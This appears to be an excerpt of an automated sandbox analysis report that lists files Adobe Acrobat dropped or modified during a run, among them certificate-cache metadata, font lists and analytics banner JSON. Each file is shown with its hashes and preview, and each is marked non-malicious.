Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.732136534099206
Encrypted:	false
SSDEEP:	3:kkFkl7ID2PtfllXlE/HT8kNlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKrDOeT8WldNMa8RdWBwRd
MD5:	C8F48044329FA961C18D5DBBCF4FF32E
SHA1:	4BB4002F17E5175B9510E05A04229969E8F249AE
SHA-256:	019E70BC092457705CF7E4CEB7EA3A4545F0BAA8389AC21711F5C788A86A47AE
SHA-512:	378C678E844E8737D924A38840D9ACF62D2F9B21DBE41E83141427C4C14DD6A93E3E13EF637D804A1FA3FA129493698C51ECBEB710BC133590B8B2A7471BFFF9
Malicious:	false
Preview:	p...... .........-fT.c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKTpsL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ryiDImsLNkPlE99SNxAhUe/3
MD5:	B85D2744E26B86FD3CCA78A0778032E4
SHA1:	22436C2E86FD616680BC1D3EE5530ACFAD885AA3
SHA-256:	41349DED187725F701E65303F59695678EAF840D252AD3ADD8D1B4AD4F4A1983
SHA-512:	F75BE03B47B51394B1CBD77A50E6F72655ADCC598B9AF87A1ABE415F0EC1D9558DE16239C8252CA71D70DEFECF6F176414E00411E8B6225104D84F538C83FFDE
Malicious:	false
Preview:	p...... ........E..x.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2384

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2384

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.349558107541631
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEwCGPIsBRs2vB3/dVlPIHAR0YM7xxoAvJM3g98kUwPeUkwRe9:YvXKXbCUIkRs2vR/ZwHAgxOGMbLUkee9
MD5:	A8D967B03B7B3886268C1DA8B8EF35A8
SHA1:	4B8A0E58D7B6B69051A886914DE45A58401891E3
SHA-256:	9E67B36979900BE062EB114383DC19CE0F2884F11211F9AA6391129E4C1245AA
SHA-512:	D85FCD32B1A4AB0EB64E06282E3E6215F9FB350210F5EA118AA527099A3792115590E7624CA226E5D1B2795ABAC81DD5B6CCD90CC3456B178F905627BCBB6093
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a99d39e-5fa3-4c51-b38b-3ff2e48a6cc3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735288755,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.282754488883537
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEwCGPIsBRs2vB3/dVlPIHAR0YM7xxoAvJfBoTfXpnrPeUkwRe9:YvXKXbCUIkRs2vR/ZwHAgxOGWTfXcUk3
MD5:	49980C4E7A0F639EC9A2730B808557D1
SHA1:	3FCC2B6AFC7E01C9A0AF43FF5E336AC196AE01BD
SHA-256:	87054B3B0D703B950DDF8CFFDEA16E84C3A2F113CB90AF5F1176A0AA7DD28EF4
SHA-512:	3C5C2D56C375B41AEB009B8664B8320A5B73E4AC3C2B8F9EDE5A00B8C02E3E07D599B9A17E77BEB13CFA61A76F7CFC8CAA5ED9784978F39A8966D10C4269EE53
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a99d39e-5fa3-4c51-b38b-3ff2e48a6cc3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735288755,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.260893403628804
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEwCGPIsBRs2vB3/dVlPIHAR0YM7xxoAvJfBD2G6UpnrPeUkwRe9:YvXKXbCUIkRs2vR/ZwHAgxOGR22cUke6
MD5:	0974A86CAC517CBE9EB9280174B74ADF
SHA1:	97FAD88CFF40EBC00D0E70C5147CC5F2F7B1C722
SHA-256:	331F862DE7DB68CCA754D04AACBCD5620AEA330621945FE265AFAE6A857A8823
SHA-512:	D81745932C883988EAB16A4EDCC91E8DB26B025EAE17B6D0143706C5916B505E383BD6EA7AC5559EE7C7A50AAB3081ACDDAFDE9A414B614593CA5B6809499D4A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a99d39e-5fa3-4c51-b38b-3ff2e48a6cc3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735288755,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.326022258340416
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEwCGPIsBRs2vB3/dVlPIHAR0YM7xxoAvJfPmwrPeUkwRe9:YvXKXbCUIkRs2vR/ZwHAgxOGH56Ukee9
MD5:	717AD78610A8D0D132327009EAF19A11
SHA1:	0C911AF5747049C52CFDB7989B4AA20698837886
SHA-256:	84F2220766D3E49D25EA6E31C1BBE883691A63E6977A28A77B39F6B0647500F6
SHA-512:	6D3CD13C8FC3FEAAA3493D1E75BE332E6D48ACC360D1C22B1FF5196F28F758C48F536153FCB2D6B703376453F19C715CFF47BD8CAD1CD49B5A7BE175632A247C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a99d39e-5fa3-4c51-b38b-3ff2e48a6cc3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735288755,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686320455690853
Encrypted:	false
SSDEEP:	24:Yv6X+UVRrJh2pLgE9cQx8LennAvzBvkn0RCmK8czOCCSo:YvWrJh2hgy6SAFv5Ah8cv/o
MD5:	D51CA8B044499BFC48854A5C76F751F6
SHA1:	3E65B579ED0B22F180B16F5AF6559A183447F4C0
SHA-256:	B9BEAB94C3E3120ABFDA9FB410BE3A75F10837693EF6C622784A10242C30E8C9
SHA-512:	A127C2F6B95BD873BA547115B1FF77C0315F913D2E85725EC5AD3AED1069790E90C529155916944D335585BC7D78D46AB40D9AED29A4226E0F1F56F78935D7DA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a99d39e-5fa3-4c51-b38b-3ff2e48a6cc3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735288755,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.273758338106346
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEwCGPIsBRs2vB3/dVlPIHAR0YM7xxoAvJf8dPeUkwRe9:YvXKXbCUIkRs2vR/ZwHAgxOGU8Ukee9
MD5:	1C35DD299CEA7DB572CE61072886F518
SHA1:	169A657B77FD0E8603E0DDE2484F892D74C21294
SHA-256:	F0CDFF691E69F6FB640F8A9ADB8A332F88CF38AE4583074BF8F746CFAB6B650E
SHA-512:	4BA75A1086FE338C3135E3A78C0D57013DA9793DD0E25236CB6C7C83EF2DF2A18D62CA3F0D928359A070267028D884400B56CA3DAC4C455AAADC498BE04C8CF5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a99d39e-5fa3-4c51-b38b-3ff2e48a6cc3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735288755,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.272706911863198
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEwCGPIsBRs2vB3/dVlPIHAR0YM7xxoAvJfQ1rPeUkwRe9:YvXKXbCUIkRs2vR/ZwHAgxOGY16Ukee9
MD5:	C6A932A97BAE8781057204635C8C88B9
SHA1:	25973BCD2DEA15665289D6FF219FD3BB133A8EE2
SHA-256:	797B68134663A7ED451D76EB6B518CB4DE2945097CA2AB7866BEF6FFCC6711DC
SHA-512:	911ECB07B9655DA03BBB42358D505D4F1ED0265193050070ECE497D38A6DA6A69268ED40D6418B9594C3055F6790483A4BF009D9858364158945692DD7C63C6E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a99d39e-5fa3-4c51-b38b-3ff2e48a6cc3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735288755,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289685531806343
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEwCGPIsBRs2vB3/dVlPIHAR0YM7xxoAvJfFldPeUkwRe9:YvXKXbCUIkRs2vR/ZwHAgxOGz8Ukee9
MD5:	0E62EFBCCF8C9846C050995C5AECF2AF
SHA1:	9BBF41150D74147665D8C08128EE0C89E43E6085
SHA-256:	913395449A4A67F8200FBB89AF45A05A3ADC263A539FE4B3ED5CDCCD5C8343C2
SHA-512:	735657C84C268AEEDC17A012733B4342DBBC058BA4F24089F9A37F67FF4C390DBA89041230F5373E212ADFBC80065E66B44E4FBBF9492625BA081B213A497BB1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a99d39e-5fa3-4c51-b38b-3ff2e48a6cc3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735288755,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.30248509041874
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEwCGPIsBRs2vB3/dVlPIHAR0YM7xxoAvJfzdPeUkwRe9:YvXKXbCUIkRs2vR/ZwHAgxOGb8Ukee9
MD5:	B4B798C5FCE9504B7F0C671040D58AFE
SHA1:	DB06B7886A66C78B3629727B1CC8EF9BD83BE24D
SHA-256:	6FBD18D7AD90B660A5E431FD7537A22BF9D15A15F370A05BB1AF0B81F2B7AD21
SHA-512:	8E6134B70C5C8577BF268E6329EE83741180B731C39B904CD44FF278B31532503AFE767A566D020ECA690E331C5077EBED1E028BD8122596348F7E0E4A1AD921
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a99d39e-5fa3-4c51-b38b-3ff2e48a6cc3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735288755,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283055891399214
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEwCGPIsBRs2vB3/dVlPIHAR0YM7xxoAvJfYdPeUkwRe9:YvXKXbCUIkRs2vR/ZwHAgxOGg8Ukee9
MD5:	CEC5FB185AF962EE22FAE331355590F0
SHA1:	C3860EB8F506A98E1D2E58CBD73DAAB5DE3F90B7
SHA-256:	42C8E1FF0552042E0F628E6518B4577EEA4CA66B24040F00AF041DDB42810A14
SHA-512:	6FDE6041A0B3045441802A4831F075E0B2348A2EE144BDEEB48E0F5C61DDFE201DA88DBF2125E2920B81A150326683C7DC02BF4F7A3E6DF443F6BAE56FD1C45E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a99d39e-5fa3-4c51-b38b-3ff2e48a6cc3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735288755,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.269106943378589
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEwCGPIsBRs2vB3/dVlPIHAR0YM7xxoAvJf+dPeUkwRe9:YvXKXbCUIkRs2vR/ZwHAgxOG28Ukee9
MD5:	904FB016BA91B5E7F8A394A78426F90E
SHA1:	D0D2D13F8B9C30EB236FCA8EEB9B459E64E10D02
SHA-256:	C21FD28EF5E3C389CE465BA99E3FD587F4827337A82F7A2B5ED2B0D6910E7FA6
SHA-512:	FEAC7BC47AB6FBBEEAA483C607668D8B2EF99EB3777F60AC1690EF8D22FB916E46D8FFAA9A4A68478987C3AE79B7430C87BAD2B213CB99A8EFBBB846552F9ABD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a99d39e-5fa3-4c51-b38b-3ff2e48a6cc3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735288755,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

